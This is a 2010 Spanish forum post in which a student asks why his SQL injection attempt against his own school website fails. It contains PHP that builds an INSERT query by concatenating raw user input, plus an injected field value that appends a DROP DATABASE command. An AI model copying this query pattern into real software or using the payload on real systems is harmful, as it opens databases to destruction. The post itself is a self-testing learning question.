Test Foro de elhacker.net SMF 2.1

Programación => Desarrollo Web => Bases de Datos => Mensaje iniciado por: andres_5 en 11 Junio 2010, 09:43 AM

Título: Duda sobre esta sintasis de SQL
Publicado por: andres_5 en 11 Junio 2010, 09:43 AM
Tuve que crear una web para el colegio, pero ahora estoy intentando inyectar codigo SQL a mi misma web, para experiencia personal...
el codigo es este:

$query = "INSERT INTO `usuarios`(log_nombre, contrasenya, nombre, email, localidad) VALUES (";
$query.= "'".$log_nombre."', '".$contraseña."', '".$name."', '".$email."', '".$localidad."');";


pero aprovecho el ultimo campo de localidad para intentar inyectar esto:

localidad'); DROP DATABASE `creandoside`('');


quedando en sentencia SQL algo como esto:
INSERT INTO `usuarios`(log_nombre, contrasenya, nombre, email, localidad)
VALUES ('123', '123', '123', '123', 'localidad'); DROP DATABASE `creandoside`('');

pero me aparece un error y no tengo ni idea de que sucede,
la sentencia del error de phpmyadmin es:

consulta SQL:
INSERT INTO `usuarios` ( log_nombre, contrasenya, nombre, email, localidad )
VALUES (
'123', '123', '123', '123', 'localidad.'
);
MySQL ha dicho: Documentación
#1046 - No database selected

saludos y muchas gracias ;)